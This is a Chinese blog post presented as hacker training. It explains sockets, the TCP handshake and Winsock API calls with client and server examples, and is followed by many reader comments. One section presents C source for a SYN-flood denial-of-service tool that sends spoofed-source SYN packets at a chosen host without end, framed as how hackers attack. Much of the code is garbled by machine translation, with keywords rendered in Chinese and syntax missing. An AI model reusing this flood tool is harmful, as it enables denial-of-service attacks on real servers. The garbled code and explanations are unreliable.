《黑客》深度学习《Socket网络编程详解》

大家都是知道在黑客网络攻防中,熟悉网络通信原理很重要,之前我也写过相关文章,只要了解通信过程,就可以利用过程中存在的漏洞进行攻防,那么在实现攻防的时候,作为一名

今天给各位分享《黑客》深度学习《Socket网络编程详解》的知识,其中也会对进行解释,如果能碰巧解决你现在面临的问题,别忘了关注本站,现在开始吧!

我们经常将socket定义为套接字。 Socket是介于应用层和传输层之间的抽象层。它将TCP/IP层的复杂操作抽象为几个简单的接口,供应用层调用网络上已实现的流程。中国通信.下面是网络分层以及socket在分层中的实际位置:

我们可以发现socket位于应用程序的传输层和应用层之间。设计了套接字抽象层。传输层底层的服务提供给socket抽象层,socket抽象层提供给应用层。问题又出现了。那么,应用层、套接字抽象层、传输层和网络层如何通信呢?如果想了解socket编程如何通过socket关键字与客户端进行通信,首先必须了解tcp/ip是如何进行通信的。是的,基于此,我们需要了解socket的握手通信。

在tcp/ip协议中,tcp通过三次握手建立tcp链接,大致如下

第二次握手:服务器收到客户端syn包并进行确认(ack=j+1),同时向客户端发送SYN包(syn=k),即SYN+ACK包。此时服务器进入SYN_RECV状态。

第三次握手:客户端收到服务器发来的SYN+ACK包,并向服务器发送确认包ACK(ack=k+1)。数据包发送后,客户端和服务器进入ESTABLISHED状态,完成三次握手。

三次握手如下图

根据tcp的三向握手,socket也定义了三向握手,如下图:

根据上图,如果得到上图,我们就需要自己开发一些接口。因此,编程专家将这些抽象概念进行了接口。对于协议提出的每一个概念,他们都编写了专门制定的接口,与其协议一一对应,形成了现在的socket标准规范,然后将其接口封装成一个调用接口,供开发者使用。目前,开发者开发了很多封装类来改进socket编程,更方便的实现socket通信的各个方面。

概括:

1. 套接字就是套接字。在TCP/IP协议中,“IP地址+TCP或UDP端口号”唯一标识网络通信中的一个进程。 “IP地址+TCP或UDP端口号”是一个套接字。

2、在TCP协议中,建立连接的两个进程(客户端和服务器)各由一个套接字来标识,这两个套接字组成的套接字对唯一标识一个连接。

3、Socket本身就是‘套接字’的意思,所以用来描述网络连接的一对一关系。为TCP/IP协议设计的应用层编程接口称为socket API。

二、 socket通信基本原理

通过上面我们了解了socket通信流程,那么我们作为程序员需要实现哪些功能呢,如下:

第一次握手:客户端需要发送syn j数据包并尝试连接服务器,所以我们需要在客户端提供链接功能

第二次握手:服务器需要接收客户端发送的syn J+1数据包,然后发送ack数据包,所以我们需要一个服务器端接受处理函数

第三次握手:客户端处理函数和服务器端处理函数

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三次握手只是一个数据传输的过程。不过,在传输之前我们需要做一些准备工作,比如创建套接字、收集一些计算机资源、将一些资源绑定到套接字、以及接收和发送数据的函数等。等等,这些功能接口共同构成了socket编程。

以下大致是客户端和服务器端所需要的功能和原理:

首先,服务器初始化ServerSocket,然后绑定指定端口,然后通过调用accept方法监听该端口并阻塞。此时,如果客户端有连接到服务器的套接字,那么服务器会监听并接受方法来与客户端连接。

了解了socket通信的基本原理后,我们来写一个最简单的例子来了解通信流程:

客户端代码:

[cpp] 1. #include Winsock2.h 2. #include stdio.h 3. #pragma comment(lib,’ws2_32.lib’) 4. int main() 5. { 6. //SOCKET之前的一些检查,Check协议库的版本,以避免其他版本的socket,通过7 //WSAStartup启动对应的版本。 WSAStartup的参数之一是版本信息,另一个是一些详细的细节。注意高低位8. //WSAStartup和WSACleanup对应9. int err; 10. WORD版本必填; 11.WSADATA wsaData; 12. versionRequired=MAKEWORD(1,1); 13. err=WSAStartup(versionRequired,wsaData);//协议库版本信息14. 15. //利用WSACleanup的返回值判断socket协议是否启动16. if (!err) 17. { 18. printf (‘客户端嵌套词已打开!\n’); 19. } 20. else 21. { 22. printf(‘客户端嵌套开词失败!\n’); 23. return 0;//End 24. } 25. //创建关键字socket,想想那个图形中的socket抽象层26 . //注意socket函数。它的三个参数定义了socket所在的系统、socket的类型以及其他一些信息。 27. SOCKET clientSocket=socket(AF_INET,SOCK_STREAM,0); 28. 29. //socket 在编程中,定义了一个结构体SOCKADDR_IN来存储计算机的一些信息,比如socket系统, 30. //端口号、IP地址等信息,这里存储的是服务器-电脑端信息31. SOCKADDR_IN clientsock_in; 32.clientsock_in.sin_addr.S_un.S_addr=inet_addr(‘127.0.0.1’); 33.clientsock_in.sin_family=AF_INET; 34.clientsock_in.sin_port=htons(6000); 35. 36. //前期定义了socket,clientsock_in.sin_family=AF_INET;有关服务器端计算机的一些信息存储在clientsock_in中。 37. //准备工作完成后,开始链接这个socket到远程计算机38. //也就是第一次握手39. 40. connect(clientSocket ,(SOCKADDR*)clientsock_in,sizeof(SOCKADDR));//启动连接41. 42. 43. char receiveBuf[100]; 44. 45. //解释socket的内容46. recv(clientSocket,receiveBuf,101, 0); 47. printf(‘%s\n’,receiveBuf); 48. 49. //发送socket数据50. send(clientSocket,’hello,this is client’,strlen(‘hello,this is client’) +1,0); 51. 52. //关闭套接字53. closesocket(clientSocket); 54. //关闭服务55. WSACleanup(); 56.返回0; 57. }对应的服务器代码:

[cpp] 1. #include Winsock2.h 2. #include stdio.h 3. #pragma comment(lib,’ws2_32.lib’) 4. int main() 5. { 6. //创建socket,socket前面的一些检查,包括服务启动7. WORD myVersionRequest; 8. WSADATA wsaData; 9. myVersionRequest=MAKEWORD(1,1); 10. 错误; 11. err=WSAStartup(myVersionRequest,wsaData); 12. if (!err) 13. { 14. printf(‘套接字已打开\n’); 15. } 16. else 17. { 18. //进一步绑定套接字19. printf(‘嵌套字尚未打开!’); 20.返回0; 21. } 22. SOCKET serSocket=socket(AF_INET,SOCK_STREAM,0);//创建了一个可识别的socket 23. //需要绑定的参数主要是本地socket的一些信息。 24. SOCKADDR_IN 地址; 25. addr.sin_family=AF_INET; 26. addr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);//ip地址27. addr.sin_port=htons(6000);//绑定端口28. 29.bind(serSocket,(SOCKADDR*)addr,sizeof( SOCKADDR));//绑定完成30.listen(serSocket,5);//第二个参数代表可以接收的最大连接数31. 32. SOCKADDR_IN 客户端套接字; 33. int len=sizeof(SOCKADDR); 34. while (1) 35. { 36. //第二次握手,通过accept接受对方的socket信息37. SOCKET serConn=accept( serSocket,(SOCKADDR*)clientsocket,len);//如果不是accept但是连接。会继续监听38. char sendBuf[100]; 39. sprintf(sendBuf,’welcome %s to bejing’,inet_ntoa(clientsocket.sin_addr));//找到对应的IP并在那里打印这一行40. //发送信息41. send(serConn,sendBuf,strlen(sendBuf )+1,0); 42. char receiveBuf[100];//接收43. recv(serConn,receiveBuf,strlen(receiveBuf)+1, 0); 44. printf(‘%s\n’,receiveBuf); 45. closesocket(serConn);//关闭46. WSACleanup();//释放资源的操作47. } 48. return 0; 49. } 3.Socket下函数详解

在应用程序可以使用套接字之前,它必须首先拥有一个套接字。系统调用socket()为应用程序提供了创建套接字的方法。调用格式如下:

[cpp] 1. SOCKET PASCAL FAR套接字(int af, int type, int protocol) 该调用需要三个参数:af、type、protocol。参数af指定通信发生的区域:AF_UNIX、AF_INET、AF_NS等,而DOS和WINDOWS中只支持AF_INET,即Internet区域。因此,地址族与协议族相同。 type参数描述了要建立的套接字的类型。这里有三种类型:

(1)首先,TCP流式套接字(SOCK_STREAM)提供面向连接的、可靠的数据传输服务。数据的发送没有错误和重复,并且按照发送的顺序接收。内置流量控制,防止数据流量超出限制;数据被视为没有长度限制的字节流。文件传输协议(FTP) 使用流式套接字。

(2)其次,数据报套接字(SOCK_DGRAM)提供无连接服务。数据包作为独立数据包发送,没有无差错保证,数据可能丢失或重复,并且乱序接收。网络文件系统(NFS) 使用数据报套接字。

(3)第三个是原始套接字(SOCK_RAW)。该接口允许直接访问较低层协议,例如IP 和ICMP。通常用于验证新协议实现或访问现有服务中配置的新设备。

protocol参数表示socket使用的具体协议。如果调用者不想指定使用的协议,则设置为0并使用默认连接模式。根据这三个参数建立一个socket,为其分配相应的资源,并返回一个整数socket号。因此,socket()系统调用实际上指定了相关五元组中的“protocol”元素。

1.指定本地地址bind()

当使用socket()创建套接字时,命名空间(地址族)就存在,但没有命名。 bind()将socket地址(包括本地主机地址和本地端口地址)与创建的socket号关联起来,即给socket起名字来指定本地半相关。其调用格式如下:

[cpp] 1. int PASCAL FAR bind(SOCKET s, const struct sockaddr FAR * name, int namelen);参数s 是socket() 调用返回的未连接的套接字描述符(套接字号)。参数name是分配给socket的本地地址(名称)。它的长度是可变的,其结构随通信域的不同而变化。 namelen表示名称的长度。如果没有发生错误,bind() 返回0。否则返回SOCKET_ERROR。

2.建立socket连接connect()和accept()

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这两个系统调用用于完成一次完整的相关建立,其中connect()用于建立连接。 Accept() 用于使服务器等待来自客户端进程的实际连接。

connect()的调用格式如下:

[cpp] 1. int PASCAL FAR connect(SOCKET s, const struct sockaddr FAR * name, int namelen);参数s是建立连接的本地套接字描述符。参数name指向一个描述对方socket地址结构的指针。对方的socket地址的长度由namelen指定。

如果没有错误发生,connect()返回0。否则返回返回值SOCKET_ERROR。在面向连接的协议中,此调用导致本地系统和外部系统之间的连接实际建立。

因为地址族总是包含在套接字地址结构的前两个字节中,并且通过socket()调用与某个协议族相关。因此,bind() 和connect() 不需要协议作为参数。

Accept()的调用格式如下:

[cpp] 1. SOCKET PASCAL FAR 接受(SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen);参数s 是本地套接字描述符,在将其用作accept() 调用中的参数之前应调用listen。 ()。 addr 指向客户端套接字地址结构的指针,用于接收连接实体的地址。 addr 的确切格式由创建套接字时建立的地址族决定。 addrlen 是客户端套接字地址的长度(字节数)。如果没有发生错误,accept() 返回一个SOCKET 类型的值,表示接收到的套接字的描述符。否则返回值INVALID_SOCKET。

Accept() 用于面向连接的服务器。参数addr和addrlen存储客户端的地址信息。调用前,参数addr指向一个地址结构,初始值为空,addrlen初始值为0;调用accept()后,服务器等待接受来自编号为s的套接字的客户端连接请求,该连接请求是由客户端的connect()调用发出的。当连接请求到达时,accept()调用将请求连接队列上第一个客户端套接字的地址和长度放入addr和addrlen中,并创建一个与s具有相同特征的新套接字号。新的套接字可用于处理对服务器的并发请求。

socket()、bind()、connect()、accept()这四个socket系统调用就可以完成完整的五元关联的建立。 socket()指定五元组中的协议元素,其用法与是客户端还是服务器、是否面向连接无关。 bind()指定五元组中的本地二进制,即本地主机地址和端口号。它的用法与是否面向连接有关:在服务器端,无论是否面向连接都必须调用bind()。如果是面向连接的,那么就可以通过connect()自动完成,无需调用bind()。如果使用无连接,客户端必须使用bind()来获取唯一的地址。

3. 监听连接listen()

面向连接的服务器使用此调用来表明它愿意接受连接。需要在accept()之前调用listen(),其调用格式如下:

[cpp] 1. int PASCAL FAR Listen(SOCKET s, int backlog);参数s标识一个已建立但尚未连接的本地套接字号,服务器愿意接收来自它的请求。 Backlog表示请求连接队列的最大长度,用于限制排队请求的数量。当前允许的最大值为5。如果没有错误发生,listen() 返回0。否则返回SOCKET_ERROR。

在调用过程中,listen()可以为尚未调用bind()的套接字完成必要的连接,并建立一个积压长度的请求连接队列。

调用listen()是服务器接收连接请求的四个步骤中的第三个。它在调用socket()分配流套接字并调用bind()为s分配名称之后调用,并且必须在accept()之前调用。

4. 数据传输send()和recv()

当连接建立后,就可以传输数据了。常用的系统调用包括send()和recv()。

send() 调用用于在s 指定的已连接数据报或流套接字上发送输出数据。格式如下:

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[cpp] 1. int PASCAL FAR send(SOCKET s, const char FAR *buf, int len, int flags);参数s 是已连接的本地套接字描述符。 buf 是指向包含发送数据的缓冲区的指针,其长度由len 指定。 flags指定传输控制方式,例如是否发送带外数据等。如果没有错误发生,send()返回发送的总字节数。否则返回SOCKET_ERROR。

recv() 调用用于接收s 指定的已连接数据报或流套接字上的输入数据。格式如下:

[cpp] 1. int PASCAL FAR recv(SOCKET s, char FAR *buf, int len, int flags);参数s 是已连接的套接字描述符。 buf 是一个指向接收输入数据的缓冲区的指针,其长度由len 指定。 flags指定传输控制方式,比如是否接收带外数据等。如果没有错误发生,recv()返回接收到的总字节数。如果连接已关闭,则返回0。否则返回SOCKET_ERROR。

输入/输出复用select()

select() 调用用于检测一个或多个套接字的状态。对于每个套接字,此调用可以请求读取、写入或错误状态信息。请求给定状态的套接字集由fd_set 结构指示。返回时,此结构会更新以反映满足特定条件的套接字子集,并且select() 调用将返回满足条件的套接字数量。调用格式如下:

[cpp] 1. int PASCAL FAR select(int nfds, fd_set FAR * readfds, fd_set FAR * writefds, fd_set FAR * exceptfds, const struct timeval FAR * timeout);参数nfds指定了被检查的socket描述符的取值范围,这个变量一般被忽略。

参数readfds指向要进行读测试的socket描述符集合的指针,调用者希望从中读取数据。参数writefds 是一个指向要测试写入的套接字描述符集的指针。 exceptfds 指向用于检测错误的套接字描述符集的指针。 timeout 指向select() 函数等待的最长时间。如果设置为NULL,则为阻塞操作。 select() 返回fd_set 结构中包含的已准备套接字描述符的总数,如果发生错误,则返回SOCKET_ERROR。

5.关闭socketclosesocket()

closesocket() 关闭socket并释放分配给该socket的资源;如果s 涉及打开的TCP 连接,则释放该连接。 closesocket()的调用格式如下:

[cpp] 1. BOOL PASCAL FAR closesocket(SOCKET s);参数s是要关闭的套接字描述符。如果没有错误发生,closesocket()返回0。否则返回返回值SOCKET_ERROR。

4、黑客如何利用socket编程实施网络攻击

1.DDOS攻击示例

#include #include #include #include #include #include #include #include #include void send_tcp(int sockfd,struct sockaddr_in *addr);无符号短值check_sum(无符号短值*addr,int len); int main(int argc,char **argv) { int DESTPORT; int sockfd; struct sockaddr_in 地址;结构主机*主机;整数开启=1; if(argc !=3) { fprintf(stderr,’Usage:dos 主机端口./n’);退出(1); } 目标端口=atoi(argv[2]); printf(‘no 正在攻击主机%s,端口为%d./n’,argv[1],DESTPORT); //printf(‘确定开始了!/n’); bzero(addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(目标端口); if(inet_aton(argv[1],addr.sin_addr)==0) { 主机=gethostbyname (argv[1]); if(host==NULL) { fprintf(stderr,’主机名错误:%s/n/a’,hstrerror(h_errno));退出(1); addr.sin_addr=*(struct in_addr *)(host-h_addr_list[0]); /**** 使用IPPROTO_TCP 创建TCP 原始套接字****/sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd0) { fprintf( stderr,’套接字错误:%s/n/a’,strerror(errno));退出(1); } /******** 设置IP数据包格式,告诉系统内核模块该IP数据包是我们自己发送的填写***/setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,on,sizeof(on) ); /**** 没办法,只有超级受保护的用户才能使用原始套接字******** */setuid(getpid()); /************ 发送炸弹! ****/send_tcp(sockfd,addr); } /************ 发送炸弹实现**********/void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; /**** 用来放置我们的数据包****/struct ip *ip ;整数我;结构tcphdr *tcp; int head_len; /******** 我们的数据包其实没有内容,所以长度就是两个结构体的长度*

**/ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /******** 填充IP数据包的头部,还记得IP的头格式吗? ******/ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; /** 版本一般的是 4 **/ ip->ip_hl=sizeof(struct ip)>>2; /** IP数据包的头部长度 **/ ip->ip_tos=0; /** 服务类型 **/ ip->ip_len=htons(head_len); /** IP数据包的长度 **/ ip->ip_id=0; /** 让系统去填写吧 **/ ip->ip_off=0; /** 和上面一样,省点时间 **/ ip->ip_ttl=MAXTTL; /** 最长的时间 255 **/ ip->ip_p=IPPROTO_TCP; /** 我们要发的是 TCP包 **/ ip->ip_sum=0; /** 校验和让系统去做 **/ ip->ip_dst=addr->sin_addr; /** 我们攻击的对象 **/ /******* 开始填写TCP数据包 *****/ tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); tcp->dest=addr->sin_port; /** 目的端口 **/ tcp->seq=random(); tcp->ack_seq=0; tcp->doff=5; tcp->syn=1; /** 我要建立连接 **/ tcp->check=0; /** 好了,一切都准备好了.服务器,你准备好了没有?? ^_^ **/ while(1) { /** 你不知道我是从那里来的,慢慢的去等吧! **/ ip->ip_src.s_addr=random(); /** 什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧 */ /** 下面这条可有可无 */ tcp->check=check_sum((unsigned short *)tcp, sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* 下面是首部校验和的算法,偷了别人的 */ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); sum+=(sum>>16); answer=~sum; return(answer); }2、 arp攻击实例

用户评论

《黑客》深度学习《Socket网络编程详解》
走过海棠暮

终于看到一篇不绕弯子深入讲解 Socket 网络编程的博文了!一直想入门但总是怕自己看不懂太多复杂的理论,这篇文讲得很清晰,重点突出,还附带示例代码,太棒了!以后学习相关内容再回来看看!

    有13位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
迁心

Socket 网络编程真是个神一般的技术!这篇文章深入浅出地讲解了它的原理和应用场景,我终于明白黑客们是如何利用 Socket 进行攻击或搭建服务端的!赶紧收藏起来,待我日后深入学习。

    有12位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
呆萌

这个“黑客”有点厉害啊,能把复杂的网络编程原理讲得这么通俗易懂。特别是对 TCP 和 UDP 的区别解释得很到位,终于搞明白了它们各自的优缺点!希望能写更多这样好文章!

    有15位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
来自火星的我

虽然标题说的是“黑客”深度学习,但我感觉这篇文章更像是一本关于 Socket 网络编程入门指南。对于初学者来说非常有用,但对已经有一定基础的人来说,可能有点浅显了。

    有11位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
烟花巷陌

太赞了!终于找到了一个解释 Socket 网络编程的详细教程,之前看了很多官方文档都一头雾水,这篇文一下子就给我清晰地解释了其中的关键点. 以前总是以为网络编程超级复杂,现在看来只要有一个好的学习资源就很好学啊!

    有15位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
久爱不厌

说实话,这篇文章虽然讲解得比较仔细,但我的注意力始终无法集中起来。可能是我不太擅长对代码进行分析和理解吧。 还是想看到更多实践案例类型的文章,比如黑客是如何利用 Socket 进行实际攻击的?!

    有10位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
来瓶年的冰泉

这篇“黑客”深度学习的文章质量不错,特别是对于初学者来说非常适合作为入门指南,但作为一个有一定网络编程基础的人,我觉得还需要更深入的讲解才能满足我的需求。希望作者能够继续更新更多关于高级 Socket 网络编程的内容。

    有19位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
封锁感觉

标题有点 misleading 啊,明明只是讲 Socket 网络编程,还扯上“黑客”深度学习呢?

    有17位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
嗯咯

Socket 网络编程这种技术真的是太重要了!它应用到各个方面,学习一遍真的很有价值。这篇文章讲解的很好,让我对其中的很多概念有了更深入的理解。

    有9位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
妄灸

这篇博客文讲解得非常透彻! 作者不仅解释了 Socket 的基本原理,还结合了许多真实的例子进行说明,让读者更容易理解和记忆. 佩服作者的知识和写作能力!

    有5位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
各自安好ぃ

我一直想了解一下“黑客”是如何使用 Socket 网络编程的。这篇博文让我看到了很多有趣的技术细节,但感觉缺乏实际应用案例的展示

    有11位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
算了吧

Socket 网络编程确实是黑客们必备的技能之一,这篇文章讲解得很详细,对想要学习网络安全的朋友来说非常有用!不过,我希望作者能更多地分享一些关于对抗 Socket 攻击的方法。

    有15位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
还未走i

我学了一些计算机基础知识,但一直没深入研究过 Socket 网络编程,这篇博客文解释得很好理解,让我对这个领域有了更进一步的认识,

    有14位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
裸睡の鱼

感觉这篇文章讲的是一些初级的网络编程概念,对于已经熟练掌握 Socket 编程的人来说并没有太多的价值。 希望以后能看到更多关于高级网络安全技术的文章!

    有20位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
。婞褔vīp

作者把复杂的技术用通俗易懂的语言讲解出来真的很棒!我以前对 Socket 网络编程感觉很可怕,现在阅读完这篇文章,我觉得它其实并不难理解。感谢作者的分享!

    有15位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
巷口酒肆

学习了这篇博客文后,我对Socket 协议有了更深的认识. 希望未来能有机会练习一下, 把这些理论知识付诸实践!

    有9位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
君临臣

我本身从事网络安全相关的工作,但这段时间一直在忙于实际项目,很少有时间深入研究技术细节。这篇文章正好给了我一个学习的机会,回顾了一下 Socket 网络编程的基础知识,受益匪浅!

    有6位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
我怕疼别碰我伤口

这篇博文非常棒,讲解得非常清晰,适合入门的人阅读。 虽然标题提到了“黑客”深度学习”,但内容主要还是围绕TCP/IP协议和Socket 网络编程展开,建议修改标题以更准确地描述文章内容。

    有20位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
此刻不是了i

希望以后作者能写更多关于网络安全方面的文章,比如如何防范 Socket 攻击等,这方面的内容更符合我的兴趣!

    有17位网友表示赞同!

《黑客》深度学习《Socket网络编程详解》
最迷人的危险

我读完这篇博文后,总觉得黑客的世界很神秘,他们可以通过一些代码让系统产生各种不同的行为,真是太不可思议了!

    有9位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/116427.html

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